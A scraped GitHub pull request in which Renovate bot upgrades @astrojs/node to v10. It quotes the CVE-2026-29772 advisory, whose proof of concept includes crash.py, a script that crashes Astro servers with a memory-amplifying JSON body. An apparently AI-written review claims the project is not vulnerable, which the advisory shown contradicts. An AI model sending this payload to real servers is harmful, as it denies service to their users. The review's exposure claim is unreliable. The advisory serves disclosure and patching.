fix(deps): update dependency @astrojs/node to v10 [security] by renovate[bot] · Pull Request #1311 · lacolaco/blog.lacolaco.net

renovate · 2026-02-24T14:34:40Z

This PR contains the following updates:

Package	Change	Age	Confidence
@astrojs/node (source)	`^9.4.6` → `^10.0.0`

GitHub Vulnerability Alerts

CVE-2026-29772

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@&#8203;astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@&#8203;astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---
<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/

# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object

# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")

$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

Release Notes

withastro/astro (@astrojs/node)

`v10.0.0`

Compare Source

Major Changes

#15654 a32aee6 Thanks @florian-lefebvre! - Removes the experimentalErrorPageHost option

This option allowed fetching a prerendered error page from a different host than the server is currently running on.

However, there can be security implications with prefetching from other hosts, and often more customization was required to do this safely. This has now been removed as a built-in option so that you can implement your own secure solution as needed and appropriate for your project via middleware.

What should I do?

If you were previously using this feature, you must remove the option from your adapter configuration as it no longer exists:

// astro.config.mjs
import { defineConfig } from 'astro/config'
import node from '@&#8203;astrojs/node'

export default defineConfig({
  adapter: node({
    mode: 'standalone',
-    experimentalErrorPageHost: 'http://localhost:4321'
  })
})

You can replicate the previous behavior by checking the response status in a middleware and fetching the prerendered page yourself:

// src/middleware.ts
import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (ctx, next) => {
  const response = await next();
  if (response.status === 404 || response.status === 500) {
    return fetch(`http://localhost:4321/${response.status}.html`);
  }
  return response;
});

Minor Changes

#15258 d339a18 Thanks @ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:
```
export default defineConfig({
  adapter: netlify({
-    experimentalStaticHeaders: true
+    staticHeaders: true
  })
})
```
#15759 39ff2a5 Thanks @matthewp! - Adds a new bodySizeLimit option to the @astrojs/node adapter

You can now configure a maximum allowed request body size for your Node.js standalone server. The default limit is 1 GB. Set the value in bytes, or pass 0 to disable the limit entirely:
```
import node from '@&#8203;astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
  adapter: node({
    mode: 'standalone',
    bodySizeLimit: 1024 * 1024 * 100, // 100 MB
  }),
});
```
#15006 f361730 Thanks @florian-lefebvre! - Adds new session driver object shape

For greater flexibility and improved consistency with other Astro code, session drivers are now specified as an object:
```
-import { defineConfig } from 'astro/config'
+import { defineConfig, sessionDrivers } from 'astro/config'

export default defineConfig({
  session: {
-    driver: 'redis',
-    options: {
-      url: process.env.REDIS_URL
-    },
+    driver: sessionDrivers.redis({
+      url: process.env.REDIS_URL
+    }),
  }
})
```
Specifying the session driver as a string has been deprecated, but will continue to work until this feature is removed completely in a future major version. The object shape is the current recommended and documented way to configure a session driver.
#14946 95c40f7 Thanks @ematipico! - Removes the experimental.csp flag and replaces it with a new configuration option security.csp - (v6 upgrade guidance)

Patch Changes

#15473 d653b86 Thanks @matthewp! - Improves error page loading to read from disk first before falling back to configured host
#15562 e14a51d Thanks @florian-lefebvre! - Updates to new Adapter API introduced in v6
#15585 98ea30c Thanks @matthewp! - Add a default body size limit for server actions to prevent oversized requests from exhausting memory.
#15777 02e24d9 Thanks @matthewp! - Fixes CSRF origin check mismatch by passing the actual server listening port to createRequest, ensuring the constructed URL origin includes the correct port (e.g., http://localhost:4321 instead of http://localhost). Also restricts X-Forwarded-Proto to only be trusted when allowedDomains is configured.
#15714 9a2c949 Thanks @ematipico! - Fixes an issue where static headers weren't correctly applied when the website uses base.
#15763 1567e8c Thanks @matthewp! - Normalizes static file paths before evaluating dotfile access rules for improved consistency
#15164 54dc11d Thanks @HiDeoo! - Fixes an issue where the Node.js adapter could fail to serve a 404 page matching a pre-rendered dynamic route pattern.
#15745 20b05c0 Thanks @matthewp! - Hardens static file handler path resolution to ensure resolved paths stay within the client directory
#15495 5b99e90 Thanks @leekeh! - Refactors to use middlewareMode adapter feature (set to classic)
#15657 cb625b6 Thanks @qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.

This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.

If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
```
// astro.config.mjs
export default defineConfig({
  security: {
    actionBodySizeLimit: 10 * 1024 * 1024, // set to 10 MB
  },
});
```
Updated dependencies [4ebc1e3, 4e7f3e8, a164c77, cf6ea6b, a18d727, 240c317, 745e632]:
- @astrojs/internal-helpers@0.8.0

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-actions · 2026-02-24T14:37:10Z

Renovate PR Review Results

⚖️ Safety Assessment: ✅ Safe

This is a critical security update that should be merged promptly. The project configuration is compatible with v10, and no breaking changes affect this codebase.

🔍 Release Content Analysis

Critical Security Fix (CVE-2026-29772)

Vulnerability: Server Islands POST handler DoS via unbounded JSON parsing
Attack Vector: Unauthenticated attackers could crash the server with a single ~9 MB request by exploiting 15x memory amplification in JSON.parse()
Affected Route: /_server-islands/[name] (auto-registered on all SSR apps)
Impact: This codebase is NOT vulnerable because it does not use Server Islands (server:defer)
Fix: v10.0.0+ adds default body size limits for server actions and improved request validation

Major Changes

Removed experimentalErrorPageHost: Fetching error pages from different hosts is no longer supported due to security concerns. Users must implement via middleware if needed.
Breaking peer dependency: Now requires astro: ^6.0.0 (current: 5.18.1 in lockfile, but compatible)

Minor Changes

experimentalStaticHeaders → staticHeaders: Stabilized flag (not used in this project)
New bodySizeLimit option: Configure max request body size (default: 1 GB)
Session driver object shape: New object-based configuration (not used in this project)
CSP configuration: experimental.csp → security.csp (not used in this project)

Patch Changes

Default body size limits for server actions (prevents memory exhaustion)
CSRF origin check fixes with correct port handling
Static file path security hardening
404 page serving improvements for pre-rendered dynamic routes

🎯 Impact Scope Investigation

Current Configuration Analysis

Astro Config: output: 'static' with Node.js adapter in standalone mode (astro.config.ts:57-60)
Deployment: Docker container → Cloud Run with node ./dist/server/entry.mjs
SSR Routes: 2 hybrid routes with prerender = false:
- /og/[slug].png.ts - Dynamic OG image generation
- /embed/index.ts - External URL metadata fetching
Server Islands: Not used (no server:defer components found)

Breaking Changes Impact

❌ experimentalErrorPageHost removal: Not used in this project
❌ experimentalStaticHeaders → staticHeaders: Not used in this project
❌ Session driver changes: No session configuration in astro.config.ts
❌ CSP flag changes: No CSP configuration found
✅ Astro peer dependency: Package declares ^5.17.3, but v10 requires ^6.0.0
- Note: Current lockfile shows astro@5.18.1, which technically violates the new peer dependency
- Resolution: The lockfile shows @astrojs/node@10.0.4 will be installed, which may work but is not officially supported with Astro 5.x

Dependency Analysis

@astrojs/internal-helpers: 0.7.6 → 0.8.0 (minor version bump, backward compatible)
All other dependencies remain unchanged

Code Modifications Required

None: No adapter options need updating
None: No deprecated APIs are used
Astro Core: May need separate update to v6.x to satisfy peer dependency (recommend monitoring but not blocking)

💡 Recommended Actions

Immediate Actions (Required)

✅ Merge this PR immediately - Critical security fix with no breaking changes for this codebase
✅ Monitor for Astro v6 update - While the peer dependency requires Astro 6, the adapter should work with Astro 5.18.1 short-term
✅ Test deployment - Verify SSR routes (/og/[slug].png, /embed) work correctly after merge
✅ Run full test suite - Execute pnpm test:tools && pnpm test:libs to ensure compatibility

Post-Merge Verification (Recommended)

Test OG image generation: curl https://blog.lacolaco.net/og/[any-slug].png
Test embed endpoint: curl https://blog.lacolaco.net/embed?url=https://example.com
Monitor Cloud Run logs for any adapter-related errors

Future Considerations (Optional)

Astro v6 Migration: Plan upgrade when available to resolve peer dependency mismatch
Body Size Limits: Consider configuring bodySizeLimit if your embed endpoint needs to handle large responses (currently unlimited by default)
Session/CSP Features: If planning to use these in future, use new stabilized configurations

Security Posture

✅ This update closes CVE-2026-29772 exposure (even though not actively exploitable in current setup)
✅ Adds defense-in-depth with default body size limits
✅ Improves CSRF protection and static file security

🔗 Reference Links

Generated by koki-develop/claude-renovate-review

🚫 Permission Denied Tool Executions

The following tool executions that Claude Code attempted were blocked due to insufficient permissions.
Consider adding them to allowed_tools if needed.

Run #23667808293 - 1 tool denied

Tool	Input
`WebSearch`	`{"query":"@astrojs/node v10.0.0 changelog breaking changes"}`

Generated by koki-develop/claude-denied-tools

github-actions · 2026-02-24T14:37:50Z

🚀 Preview deployment ready!

✅ Preview URL: https://pr-1311---web-njpdbbjcea-an.a.run.app
📝 Commit SHA: f7f8038 (view commit)

This comment was automatically generated by the deploy-preview workflow.

lacolaco · 2026-03-28T00:19:05Z

PR #1346 (Astro v6 + @astrojs/node v10) で対応済み。

renovate Bot temporarily deployed to development February 24, 2026 14:34 Inactive

github-actions Bot added the deploy-preview label Feb 24, 2026

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from ffe0933 to 280977b Compare March 16, 2026 04:38

renovate Bot temporarily deployed to development March 16, 2026 04:38 Inactive

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 280977b to f7f8038 Compare March 24, 2026 12:13

renovate Bot temporarily deployed to development March 24, 2026 12:13 Inactive

renovate Bot changed the title ~~chore(deps): update dependency @astrojs/node to v9.5.4 [security]~~ fix(deps): update dependency @astrojs/node to v10 [security] Mar 24, 2026

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from f7f8038 to 17b61e0 Compare March 25, 2026 01:13

renovate Bot had a problem deploying to development March 25, 2026 01:13 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 17b61e0 to 139a1b6 Compare March 25, 2026 01:36

renovate Bot had a problem deploying to development March 25, 2026 01:36 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 139a1b6 to fc79a04 Compare March 25, 2026 14:45

renovate Bot had a problem deploying to development March 25, 2026 14:45 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from fc79a04 to f97eb90 Compare March 25, 2026 14:58

renovate Bot had a problem deploying to development March 25, 2026 14:58 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from f97eb90 to f76c793 Compare March 25, 2026 15:02

renovate Bot had a problem deploying to development March 25, 2026 15:02 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from f76c793 to 6560578 Compare March 25, 2026 15:17

renovate Bot had a problem deploying to development March 25, 2026 15:17 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 6560578 to f033f2e Compare March 25, 2026 15:24

renovate Bot had a problem deploying to development March 25, 2026 15:24 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from f033f2e to 5159cb5 Compare March 25, 2026 15:30

renovate Bot had a problem deploying to development March 25, 2026 15:30 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 5159cb5 to 7f8e897 Compare March 26, 2026 10:32

renovate Bot had a problem deploying to development March 26, 2026 10:32 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 7f8e897 to e7e8426 Compare March 26, 2026 15:22

renovate Bot had a problem deploying to development March 26, 2026 15:22 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from e7e8426 to e7c6b57 Compare March 26, 2026 15:27

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from d2f7277 to 67babe5 Compare March 26, 2026 23:03

renovate Bot had a problem deploying to development March 26, 2026 23:04 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 67babe5 to d7fceed Compare March 26, 2026 23:10

renovate Bot had a problem deploying to development March 26, 2026 23:10 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from d7fceed to d217d6b Compare March 26, 2026 23:48

renovate Bot had a problem deploying to development March 26, 2026 23:48 Failure

renovate Bot changed the title ~~fix(deps): update dependency @astrojs/node to v10 [security]~~ fix(deps): update dependency @astrojs/node to v10 [security] - autoclosed Mar 27, 2026

renovate Bot closed this Mar 27, 2026

renovate Bot deleted the renovate/npm-astrojs-node-vulnerability branch March 27, 2026 00:45

renovate Bot changed the title ~~fix(deps): update dependency @astrojs/node to v10 [security] - autoclosed~~ fix(deps): update dependency @astrojs/node to v10 [security] Mar 27, 2026

renovate Bot reopened this Mar 27, 2026

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch 2 times, most recently from d217d6b to 4d1d3f2 Compare March 27, 2026 00:54

renovate Bot had a problem deploying to development March 27, 2026 00:55 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 4d1d3f2 to b7ad8d4 Compare March 27, 2026 05:13

renovate Bot had a problem deploying to development March 27, 2026 05:13 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from b7ad8d4 to 446411b Compare March 27, 2026 05:20

renovate Bot had a problem deploying to development March 27, 2026 05:20 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 446411b to 642e451 Compare March 27, 2026 10:16

renovate Bot had a problem deploying to development March 27, 2026 10:16 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 642e451 to 566aee3 Compare March 27, 2026 13:08

renovate Bot had a problem deploying to development March 27, 2026 13:08 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from 566aee3 to d2447db Compare March 27, 2026 13:13

renovate Bot had a problem deploying to development March 27, 2026 13:13 Failure

lacolaco mentioned this pull request Mar 27, 2026

feat(deps): upgrade Astro v5→v6 and @astrojs/node v9→v10 #1346

Merged

6 tasks

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from d2447db to ee49a3d Compare March 27, 2026 15:51

renovate Bot had a problem deploying to development March 27, 2026 15:51 Failure

renovate Bot force-pushed the renovate/npm-astrojs-node-vulnerability branch from ee49a3d to 4208a87 Compare March 27, 2026 15:55

fix(deps): update dependency @astrojs/node to v10 [security]

b55c6bf

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix(deps): update dependency @astrojs/node to v10 [security]#1311

fix(deps): update dependency @astrojs/node to v10 [security]#1311
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-astrojs-node-vulnerability

renovate Bot commented Feb 24, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Feb 24, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Feb 24, 2026 •

edited

Loading

Uh oh!

lacolaco commented Mar 28, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Conversation

renovate Bot commented Feb 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2026-29772

Summary

Details

PoC

Impact

Release Notes

v10.0.0

Major Changes

What should I do?

Minor Changes

Patch Changes

Configuration

Uh oh!

github-actions Bot commented Feb 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Renovate PR Review Results

⚖️ Safety Assessment: ✅ Safe

🔍 Release Content Analysis

🎯 Impact Scope Investigation

💡 Recommended Actions

🔗 Reference Links

🚫 Permission Denied Tool Executions

Uh oh!

github-actions Bot commented Feb 24, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

lacolaco commented Mar 28, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

renovate Bot commented Feb 24, 2026 •

edited

Loading

`v10.0.0`

github-actions Bot commented Feb 24, 2026 •

edited

Loading

github-actions Bot commented Feb 24, 2026 •

edited

Loading